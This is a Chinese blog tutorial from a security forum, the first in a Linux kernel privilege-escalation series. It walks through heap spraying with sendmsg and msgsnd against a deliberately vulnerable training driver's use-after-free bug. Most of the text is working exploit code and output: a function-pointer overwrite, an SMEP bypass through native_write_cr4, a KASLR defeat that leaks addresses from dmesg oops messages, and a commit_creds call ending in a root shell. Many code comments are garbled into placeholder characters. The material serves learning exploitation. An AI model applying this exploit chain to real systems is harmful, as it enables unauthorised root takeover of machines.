[登录]

linux内核提权系列教程（1）：堆喷射函数sendmsg与msgsend利用

[bsauce] / 2019-09-13 09:29:38 / 浏览数 2579 [安全技术] [二进制安全] [顶(0)] [踩(0)]

说明：实验所需的驱动源码、bzImage、cpio文件见[我的github]进行下载。本教程适合对漏洞提权有一定了解的同学阅读，具体可以看看我先知之前的文章，或者[我的简书]

一、 堆喷函数介绍

在linux内核下进行堆喷射时，首先需要注意喷射的堆块的大小，因为只有大小相近的堆块才保存在相同的cache中。具体的cache块分布如下图：

```
kmalloc-4194304        0      0 4194304    1 1024 : tunables    1    1    0 : slabdata      0      0      0
kmalloc-2097152        0      0 2097152    1  512 : tunables    1    1    0 : slabdata      0      0      0
kmalloc-1048576        0      0 1048576    1  256 : tunables    1    1    0 : slabdata      0      0      0
kmalloc-524288         0      0 524288     1  128 : tunables    1    1    0 : slabdata      0      0      0
kmalloc-262144         2      2 262144     1   64 : tunables    1    1    0 : slabdata      2      2      0
kmalloc-131072         2      2 131072     1   32 : tunables    8    4    0 : slabdata      2      2      0
kmalloc-65536          0      0  65536     1   16 : tunables    8    4    0 : slabdata      0      0      0
kmalloc-32768          2      2  32768     1    8 : tunables    8    4    0 : slabdata      2      2      0
kmalloc-16384         10     10  16384     1    4 : tunables    8    4    0 : slabdata     10     10      0
kmalloc-8192          35     35   8192     1    2 : tunables    8    4    0 : slabdata     35     35      0
kmalloc-4096         124    124   4096     1    1 : tunables   24   12    0 : slabdata    124    124      0
kmalloc-2048         648    648   2048     2    1 : tunables   24   12    0 : slabdata    324    324      0
kmalloc-1024         916    916   1024     4    1 : tunables   54   27    0 : slabdata    229    229      0
kmalloc-512          605    632    512     8    1 : tunables   54   27    0 : slabdata     79     79      0
kmalloc-256         2484   2544    256    16    1 : tunables  120   60    0 : slabdata    159    159      0
kmalloc-192         2091   2163    192    21    1 : tunables  120   60    0 : slabdata    103    103      0
kmalloc-96          2341   2368    128    32    1 : tunables  120   60    0 : slabdata     74     74      0
kmalloc-64         14792  14912     64    64    1 : tunables  120   60    0 : slabdata    233    233      0
kmalloc-32         12111  12276     32   124    1 : tunables  120   60    0 : slabdata     99     99      0
kmalloc-node        1408   1408    128    32    1 : tunables  120   60    0 : slabdata     44     44      0
kmem_cache           111    126    192    21    1 : tunables  120   60    0 : slabdata      6      6      0
```


本文的漏洞例子中uaf_obj对象的大小是84，实际申请时会分配一个96字节的堆块。本例中我们可以申请96大小的k_object对象，并在堆块上任意布置数据，但这样的话就太

（1）sendmsg

```
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
            struct msghdr *msg_sys, unsigned int flags,
            struct used_address *used_address,
            unsigned int allowed_msghdr_flags)
{
   struct compat_msghdr __user *msg_compat =
       (struct compat_msghdr __user *)msg;
   struct sockaddr_storage address;
   struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
   unsigned char ctl[sizeof(struct cmsghdr) + 20]
               __aligned(sizeof(__kernel_size_t)); // ■■44■■■■■■■ctl■20■ipv6_pktinfo■■■■■
   unsigned char *ctl_buf = ctl; // ctl_buf■■■■■■ctl
   int ctl_len;
   ssize_t err;

   msg_sys->msg_name = &address;

   if (MSG_CMSG_COMPAT & flags)
       err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
   else
       err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); // ■■■■■■■msg_sys■■■■msghdr■■■■
   if (err < 0)
       return err;

   err = -ENOBUFS;

   if (msg_sys->msg_controllen > INT_MAX) //■■msg_sys■■INT_MAX■■■ctl_len■■■■■■■■msg_controllen
       goto out_freeiov;
   flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
   ctl_len = msg_sys->msg_controllen;
   if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
       err =
           cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
```

```
                            sizeof(ctl));
        if (err)
            goto out_freeiov;
        ctl_buf = msg_sys->msg_control;
        ctl_len = msg_sys->msg_controllen;
    } else if (ctl_len) {
        BUILD_BUG_ON(sizeof(struct cmsghdr) !=
                 CMSG_ALIGN(sizeof(struct cmsghdr)));
        if (ctl_len > sizeof(ctl)) {  //■■■■■■■■size■■■■■44■■
            ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);//sock_kmalloc■■■■■■kmalloc ■■ ctl_len ■■■■■■
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /* ■■■■msg_sys->msg_control■■■■■■■■■■■■■■■■ctl_len■■■■■■■■■■■■  ■■■■■■■■■ctl_buf■■■■■■
         */
        if (copy_from_user(ctl_buf,
                   (void __user __force *)msg_sys->msg_control,
                   ctl_len))
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }
    msg_sys->msg_flags = flags;
...
```

结论：只要传入size大于44，就能控制kmalloc申请的内核空间的数据。

数据流：

  msg ---> msg_sys ---> msg_sys->msg_controllen ---> ctl_len

  msg ---> msg_sys->msg_control ---> ctl_buf

利用流程：

```
//■■: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// ■■■■■■■■buff■■■■
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// ■■■■■■■■■■■■■■■■■■■■■■■■■
for(int i = 0; i < 100000; i++) {
 sendmsg(sockfd, &msg, 0);
}
// ■■UAF■■
```

（2）msgsnd

```
// /ipc/msg.c
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
        int, msgflg)
{
    return ksys_msgsnd(msqid, msgp, msgsz, msgflg);
}
// /ipc/msg.c
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
         int msgflg)
{
    long mtype;

    if (get_user(mtype, &msgp->mtype))
        return -EFAULT;
```

```
   return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
// /ipc/msg.c
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
       size_t msgsz, int msgflg)
{
   struct msg_queue *msq;
   struct msg_msg *msg;
   int err;
   struct ipc_namespace *ns;
   DEFINE_WAKE_Q(wake_q);

   ns = current->nsproxy->ipc_ns;

   if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
       return -EINVAL;
   if (mtype < 1)
       return -EINVAL;
 msg = load_msg(mtext, msgsz);  // ■■load_msg
...
// /ipc/msgutil.c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
   struct msg_msg *msg;
   struct msg_msgseg *seg;
   int err = -EFAULT;
   size_t alen;

   msg = alloc_msg(len);  // alloc_msg
   if (msg == NULL)
       return ERR_PTR(-ENOMEM);

   alen = min(len, DATALEN_MSG); // DATALEN_MSG
   if (copy_from_user(msg + 1, src, alen)) // copy1
       goto out_err;

   for (seg = msg->next; seg != NULL; seg = seg->next) {
       len -= alen;
       src = (char __user *)src + alen;
       alen = min(len, DATALEN_SEG);
       if (copy_from_user(seg + 1, src, alen)) // copy2
           goto out_err;
   }

   err = security_msg_msg_alloc(msg);
   if (err)
       goto out_err;

   return msg;

out_err:
   free_msg(msg);
   return ERR_PTR(err);
}
// /ipc/msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
static struct msg_msg *alloc_msg(size_t len)
{
   struct msg_msg *msg;
   struct msg_msgseg **pseg;
   size_t alen;

   alen = min(len, DATALEN_MSG);
   msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // ■■■■■■msg_msg■■■■
...
```

msgsnd()--->ksys_msgsnd()--->do_msgsnd()。

do_msgsnd()根据用户传递的buffer和size参数调用load_msg(mtext, msgsz)，load_msg()先调用alloc_msg(msgsz)创建一个msg_msg结构体（），然后拷贝用户空间的buffer紧跟msg_msg结构体的后面，相当于给buffer添加了一个头部，

结论：前0x30字节不可控。数据量越大（本文示例是96字节），发生阻塞可能性越大，120次发送足矣。

利用流程：

```
// ■■■■■0x30■■■■■■■■■
struct {
 long mtype;
 char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // ■■■■■■■■■■■
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //■■ > 0
// ■■■■■■■■■■■■■■■■■■■■■■■■
for(int i = 0; i < 120; i++)
 msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// ■■UAF■■
```

二、 漏洞分析

（1）代码分析

我们以漏洞驱动-vuln_driver来进行实践。vuln_driver驱动包含漏洞有任意地址读写、空指针引用、未初始化栈变量、UAF漏洞、缓冲区溢出。本文主要分析UAF漏洞及其利

```
// vuln_driver.c: do_ioctl()■■■■■■■■■
static long do_ioctl(struct file *filp, unsigned int cmd, unsigned long args)
{
   int ret;
   unsigned long *p_arg = (unsigned long *)args;
   ret = 0;

   switch(cmd) {
       case DRIVER_TEST:
           printk(KERN_WARNING "[x] Talking to device [x]\n");
           break;
       case ALLOC_UAF_OBJ:
           alloc_uaf_obj(args);
           break;
       case USE_UAF_OBJ:
           use_uaf_obj();
           break;
       case ALLOC_K_OBJ:
           alloc_k_obj((k_object *) args);
           break;
       case FREE_UAF_OBJ:
           free_uaf_obj();
           break;
   }
   return ret;
}

//uaf■■■■■■■■■■■■■■■■■■fn■size=84
   typedef struct uaf_obj
   {
       char uaf_first_buff[56];
       long arg;
       void (*fn)(long);
       char uaf_second_buff[12];
   }uaf_obj;

//k_object■■■■■■■
typedef struct k_object
   {
       char kobj_buff[96];
   }k_object;
```

主要代码如下，漏洞就是在释放堆时，未将存放堆地址的全局变量清零。

```
// 1. uaf_callback() ■■■■■■■■■
 uaf_obj *global_uaf_obj = NULL;
 static void uaf_callback(long num)
   {
       printk(KERN_WARNING "[-] Hit callback [-]\n");
   }

// 2. ■■■■uaf■■■fn■■■■■■uaf_callback■■■■■■■uaf_first_buff■■"A"■ global_uaf_obj■■■■■■■■■
   static int alloc_uaf_obj(long __user arg)
   {
       struct uaf_obj *target;
       target = kmalloc(sizeof(uaf_obj), GFP_KERNEL);

       if(!target) {
           printk(KERN_WARNING "[-] Error no memory [-]\n");
           return -ENOMEM;
       }
       target->arg = arg;
       target->fn = uaf_callback;
       memset(target->uaf_first_buff, 0x41, sizeof(target->uaf_first_buff));

       global_uaf_obj = target;
       printk(KERN_WARNING "[x] Allocated uaf object [x]\n");
       return 0;
   }

// 3. ■■uaf■■■■■■■global_uaf_obj■■
   static void free_uaf_obj(void)
   {
       kfree(global_uaf_obj);
       //global_uaf_obj = NULL
       printk(KERN_WARNING "[x] uaf object freed [x]");
   }

// 4. ■■uaf■■■■■■■fn■■■■■
   static void use_uaf_obj(void)
   {
       if(global_uaf_obj->fn)
       {
           //debug info
           printk(KERN_WARNING "[x] Calling 0x%p(%lu)[x]\n", global_uaf_obj->fn, global_uaf_obj->arg);

           global_uaf_obj->fn(global_uaf_obj->arg);
       }
   }

// 5. ■■k_object■■■■■■■■■user_kobj■■■■■■■■■■
   static int alloc_k_obj(k_object *user_kobj)
   {
       k_object *trash_object = kmalloc(sizeof(k_object), GFP_KERNEL);
       int ret;

       if(!trash_object) {
           printk(KERN_WARNING "[x] Error allocating k_object memory [-]\n");
           return -ENOMEM;
       }

       ret = copy_from_user(trash_object, user_kobj, sizeof(k_object));
       printk(KERN_WARNING "[x] Allocated k_object [x]\n");
       return 0;
   }
```

（2）利用思路

思路：如果uaf_obj被释放，但指向它的global_uaf_obj变量未清零，若另一个对象分配到相同的cache，并且能够控制该cache上的内容，我们就能控制fn()调用的函数。

测试：本例中我们可以利用k_object对象来布置堆数据，将uaf_obj对象的fn指针覆盖为0x4242424242424242。

```
//■■■■■easy_uaf.c
void use_after_free_kobj(int fd)
```

```
{
    k_object *obj = malloc(sizeof(k_object));

   //60 bytes overwrites the last 4 bytes of the address
   memset(obj->buff, 0x42, 60);

   ioctl(fd, ALLOC_UAF_OBJ, NULL);
   ioctl(fd, FREE_UAF_OBJ, NULL);

   ioctl(fd, ALLOC_K_OBJ, obj);
   ioctl(fd, USE_UAF_OBJ, NULL);
}
```

报错结果如下：

```
[    5.762244] [x] Allocated uaf object [x]
[    5.762305] [x] uaf object freed [x]
[    5.762346] [x] Allocated k_object [x]
[    5.762401] [x] Calling 0x4242424242424242(4774451407313060418)[x]
[    5.762813] general protection fault: 0000 [#1] SMP
[    5.763907] Modules linked in: vuln_driver(OE) StringIPC(OE)
```


三、 漏洞利用

（1）绕过SMEP

1. 绕过SMEP防护方法

CR4寄存器的第20位为1，则表示开启了SMEP，若执行到用户指令，就会报错"`BUG: unable to handle kernel paging request at 0xxxxxx`"。绕过SMEP的方法见我的笔记https://www.jianshu.com/p/6f1d2f3f5126。不过最简单的方法是通过`native_write_cr4()`函数：

```
// /arch/x86/include/asm/special_insns.h
static inline void native_write_cr4(unsigned long val)
{
   asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}
```

本文用到的vuln_driver简化了利用过程，否则我们还需要控制第1个参数，所以利用目标就是：`global_uaf_obj->fn(global_uaf_obj->arg) ---> native_write_cr4(global...->arg)`。 也即执行`native_write_cr4(0x407f0)`即可。

2. 堆喷函数

sendmsg注意：分配堆块必须大于44。

```
//■sendmsg■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■+■■
void use_after_free_sendmsg(int fd, size_t target, size_t arg)
{
   char buff[BUFF_SIZE];
   struct msghdr msg={0};
   struct sockaddr_in addr={0};
   int sockfd = socket(AF_INET,SOCK_DGRAM,0);
   // ■■■■■■
   memset(buff,0x43,sizeof buff);
   memcpy(buff+56,&arg,sizeof(long));
   memcpy(buff+56+(sizeof(long)),&target,sizeof(long));

   addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(6666);

   // buff■■■■■■■■BUFF_SIZE■■■■■■KMALLOC■■■■■
   msg.msg_control=buff;
   msg.msg_controllen=BUFF_SIZE;
   msg.msg_name=(caddr_t)&addr;
   msg.msg_namelen= sizeof(addr);
   // ■■UAF■■
   ioctl(fd,ALLOC_UAF_OBJ,NULL);
   ioctl(fd,FREE_UAF_OBJ,NULL);
```

```
    //■■■■
    for (int i=0;i<10000;i++){
        sendmsg(sockfd,&msg,0);
    }
    //■■
    ioctl(fd,USE_UAF_OBJ,NULL);
}

//■msgsnd■■■■
int use_after_free_msgsnd(int fd, size_t target, size_t arg)
{
    int new_len=BUFF_SIZE-48;
    struct {
        size_t mtype;
        char mtext[new_len];
    } msg;
    //■■■■■■■■■■■■■48■■
    memset(msg.mtext,0x42,new_len-1);
    memcpy(msg.mtext+56-48,&arg,sizeof(long));
    memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
    msg.mtext[new_len]=0;
    msg.mtype=1; //mtype■■ ■■0

    // ■■■■■■
    int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);
    // ■■UAF■■
    ioctl(fd, ALLOC_UAF_OBJ,NULL);
    ioctl(fd,FREE_UAF_OBJ,NULL);
    //■■■■
    for (int i=0;i<120;i++)
        msgsnd(msqid,&msg,sizeof(msg.mtext),0);
    //■■
    ioctl(fd,USE_UAF_OBJ,NULL);
}
```

msgsnd注意：msgsnd堆喷必须减去头部长度48，前48字节不可控。

3. 绕过SMEP测试

完整代码见`test_smep.c`。

注意：暂时先关闭ASLR，单核启动，修改`start.sh`脚本即可。

```
int main()
{
    size_t native_write_cr4_addr=0xffffffff81065a30;
    size_t fake_cr4=0x407e0;

    void *addr=mmap((void *)MMAP_ADDR,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON,0,0);
    void **fn=MMAP_ADDR;
    // ■■stub■■■ MMAP_ADDR
    memcpy(fn,stub,128);
    int fd=open(PATH,O_RDWR);
    //■■■■dmesg■■■■■■■
    ioctl(fd,DRIVER_TEST,NULL);
    /*
    use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
    use_after_free_sendmsg(fd,MMAP_ADDR,0);
    */

    use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
    use_after_free_msgsnd(fd,MMAP_ADDR,0);

    return 0;
}
```

修改cr4之前，执行用户代码会报错：

```
/ # /test_smep
[   46.696870] unable to execute userspace code (SMEP?) (uid: 0)
[   46.698139] BUG: unable to handle kernel paging request at 0000100000000000
[   46.699649] IP: [<0000100000000000>] 0x100000000000
[   46.700037] PGD f432067 PUD fba6067 PMD f42c067 PTE 1843867
[   46.700037] Oops: 0011 [#1] SMP
[   46.700037] Modules linked in: vuln_driver(OE) StringIPC(OE)
[   46.700037] CPU: 0 PID: 102 Comm: test_smep Tainted: G           OE   4.4.184
 #1
```


修改cr4之后，能够执行到用户代码：

```
gdb-peda$ x /10i $pc
=> 0x100000000000:      push   rbp
   0x100000000001:      mov    rbp,rsp
   0x100000000004:      mov    DWORD PTR [rbp-0x4],0x0
   0x10000000000b:      add    DWORD PTR [rbp-0x4],0x1
   0x10000000000f:      nop
   0x100000000010:      pop    rbp
   0x100000000011:      ret
   0x100000000012:      push   rbp
   0x100000000013:      mov    rbp,rsp
   0x100000000016:      sub    rsp,0x30
```


（2）绕过KASLR

1. 方法

注意：`start.sh`中开启ASLR。

目标：泄露kernel地址，获取`native_write_cr4`、`prepare_kernel_cred`、`commit_creds`函数地址。

说明：一般都会开启`kptr_restrict`保护，不能读取`/proc/kallsyms`，但是通常可以dmesg读取内核打印的信息。

方法：由dmesg可以想到，构造pagefault，利用内核打印信息来泄露kernel地址。

```
[   10.775277] [x] Talking to device [x]
[   10.775635] [x] Allocated uaf object [x]
[   10.775669] [x] uaf object freed [x]
[   10.776512] [x] Calling 0x0000100000000000(0)[x]
[   10.778241] unable to execute userspace code (SMEP?) (uid: 0)
[   10.780105] BUG: unable to handle kernel paging request at 0000100000000000
[   10.780105] IP: [<0000100000000000>] 0x100000000000
[   10.780105] PGD bae4067 PUD bafd067 PMD fa8a067 PTE 20c1867
[   10.780105] Oops: 0011 [#1] SMP
[   10.780105] Modules linked in: vuln_driver(OE) StringIPC(OE)
[   10.780105] CPU: 0 PID: 102 Comm: test_smep_no Tainted: G           OE   4.4.184 #1
[   10.780105] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[   10.780105] task: ffff880000888cc0 ti: ffff88000fa6c000 task.ti: ffff88000fa6c000
[   10.780105] RIP: 0010:[<0000100000000000>]  [<0000100000000000>] 0x100000000000
[   10.780105] RSP: 0018:ffff88000fa6fe78  EFLAGS: 00000282
[   10.780105] RAX: 0000100000000000 RBX: 0000000000000000 RCX: 0000000000000034
[   10.780105] RDX: 0000000000000000 RSI: 0000000000000246 RDI: 0000000000000000
[   10.780105] RBP: ffff88000fa6fe98 R08: 000000005d785b29 R09: 0000000000000092
[   10.780105] R10: 0000000000000000 R11: 000000000000018c R12: 0000000000000000
[   10.780105] R13: ffff88000bae2700 R14: 000000000000fe04 R15: 0000000000000000
[   10.780105] FS:  000000000087f880(0063) GS:ffff88000e800000(0000) knlGS:0000000000000000
[   10.780105] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   10.780105] CR2: 0000100000000000 CR3: 000000000fa56000 CR4: 00000000003006f0
[   10.780105] Stack:
[   10.780105]  ffffffffc0008493 00007ffcab426028 ffff880000888cc0 ffff88000ba81c88
[   10.780105]  ffff88000fa6ff08 ffffffff8122b9e4 ffff88000bae2c40 ffff88000fa6ff38
[   10.780105]  ffffffff8133c1be ffff88000fa6c000 ffff88000bae2cc0 ffff880000888cc0
[   10.780105] Call Trace:
[   10.780105]  [<ffffffffc0008493>] ? do_ioctl+0x353/0x4c0 [vuln_driver]
[   10.780105]  [<ffffffff8122b9e4>] do_vfs_ioctl+0x2a4/0x4a0
[   10.780105]  [<ffffffff8133c1be>] ? do_msgsnd+0x1fe/0x3d0
[   10.780105]  [<ffffffff8122bc59>] SyS_ioctl+0x79/0x90
[   10.780105]  [<ffffffff8183b1e5>] entry_SYSCALL_64_fastpath+0x22/0x99
[   10.780105] Code:  Bad RIP value.
[   10.780105] RIP  [<0000100000000000>] 0x100000000000
[   10.780105]  RSP <ffff88000fa6fe78>
[   10.780105] CR2: 0000100000000000
[   10.780105] ---[ end trace da3e20cb7ea18a83 ]---
/ #
```


如上图所示，可以利用`SyS_ioctl+0x79/0x90`来泄露kernel地址，接下来只需寻找目标函数地址的相对偏移即可。

```
# [<ffffffff8122bc59>] SyS_ioctl+0x79/0x90
/ # cat /proc/kallsyms | grep native_write_cr4
ffffffff81065a30 t native_write_cr4
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810a6ca0 T prepare_kernel_cred
/ # cat /proc/kallsyms | grep commit_creds
ffffffff810a68b0 T commit_creds
```

2. 步骤

- 在子线程中触发page_fault，从dmesg读取打印信息
- 找到`SyS_ioctl+0x79`地址，计算kernel_base
- 计算3个目标函数地址

（3）整合exp

1. 单核运行

```
//■■■■■■■■■■■■■■■■■1■■■smep■■■■1■■■■shell
void force_single_core()
{
   cpu_set_t mask;
   CPU_ZERO(&mask);
   CPU_SET(0,&mask);

   if (sched_setaffinity(0,sizeof(mask),&mask))
       printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
   return;
}
```

2. 泄露kernel基址

```
// ■■ page_fault ■■kernel■■■■dmesg■■■■■/tmp/infoleak■■■■■
   pid_t pid=fork();
```

```
    if (pid==0){
        do_page_fault();
        exit(0);
    }
    int status;
    wait(&status);    // ■■■■■■
    //sleep(10);
    printf("[+] Begin to leak address by dmesg![+]\n");
    size_t kernel_base = get_info_leak()-sys_ioctl_offset;
    printf("[+] Kernel base addr : %p [+] \n", kernel_base);

    native_write_cr4_addr+=kernel_base;
    prepare_kernel_cred_addr+=kernel_base;
    commit_creds_addr+=kernel_base;
```

3. 关闭smep,并提权

```
//■■smep,■■■
    use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
    use_after_free_sendmsg(fd,get_root,0);   //MMAP_ADDR
    //use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
    //use_after_free_msgsnd(fd,get_root,0);  //MMAP_ADDR

    if (getuid()==0)
    {
        printf("[+] Congratulations! You get root shell !!! [+]\n");
        system("/bin/sh");
    }
```

（4）问题

原文的exploit有问题，是将get_root()代码用mmap映射到0x100000000000，然后跳转过去执行，但是直接把代码拷贝过去会有地址引用错误。

```
#■■0x100000000000■■■■■■■pagefault■■■■■■0x1000002ce8fd■■■■
gdb-peda$ x /10i $pc
=> 0x100000000000:  push   rbp
  0x100000000001:  mov    rbp,rsp
  0x100000000004:  push   rbx
  0x100000000005:  sub    rsp,0x8
  0x100000000009:
   mov    rbx,QWORD PTR [rip+0x2ce8ed]        # 0x1000002ce8fd
  0x100000000010:
   mov    rax,QWORD PTR [rip+0x2ce8ee]        # 0x1000002ce905
  0x100000000017:  mov    edi,0x0
  0x10000000001c:  call   rax
  0x10000000001e:  mov    rdi,rax
  0x100000000021:  call   rbx
#■■■■■■■
[   10.421887] BUG: unable to handle kernel paging request at 00001000002ce8fd
[   10.424836] IP: [<0000100000000009>] 0x100000000009
```

解决：不需要将`get_root()`代码拷贝到0x100000000000，直接执行`get_root()`即可。

最后成功提权：

```
[    9.552037] Call Trace:
[    9.552037]  [<ffffffffc0000493>] ? do_ioctl+0x353/0x4c0 [vuln_driver]
[    9.552037]  [<ffffffff8122b9e4>] do_vfs_ioctl+0x2a4/0x4a0
[    9.552037]  [<ffffffff81710801>] ? __sys_sendmsg+0x51/0x90
[    9.552037]  [<ffffffff8122bc59>] SyS_ioctl+0x79/0x90
[    9.552037]  [<ffffffff8183b1e5>] entry_SYSCALL_64_fastpath+0x22/0x99
[    9.552037] Code:  Bad RIP value.
[    9.552037] RIP  [<fffffffffe39dd7>] 0xfffffffffe39dd7
[    9.552037]  RSP <ffff88000f957e78>
[    9.552037] CR2: fffffffffe39dd7
[    9.552037] ---[ end trace 0da89b6093ec85f4 ]---
[+] Begin to leak address by dmesg![+]
[+] Kernel base addr : 0xffffffff81000000 [+]
[+] We can get 3 important function address ![+]
        native_write_cr4_addr = 0xffffffff81065a30
        prepare_kernel_cred_addr = 0xffffffff810a6ca0
        commit_creds_addr = 0xffffffff810a68b0
[    9.659508] [x] Allocated uaf object [x]
[    9.660541] [x] uaf object freed [x]
[    9.698613] [x] Calling 0xffffffff81065a30(264176)[x]
[    9.703046] [x] Allocated uaf object [x]
[    9.704678] [x] uaf object freed [x]
[    9.740135] [x] Calling 0x0000000000400f1b(0)[x]
[+] Congratulations! You get root shell !!! [+]
/ # id
uid=0 gid=0
/ #
```


exp代码见`exp_heap_spray.c`。

参考：

https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/

http://edvison.cn/2018/07/25/%E5%A0%86%E5%96%B7%E5%B0%84/

https://github.com/invictus-0x90/vulnerable_linux_driver

https://turingsec.github.io/CVE-2016-0728/

点击收藏 | 0 关注 | 1

上一篇：SUCTF Pythonginx非预期解 下一篇：记一次简单的Win Server渗透

1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板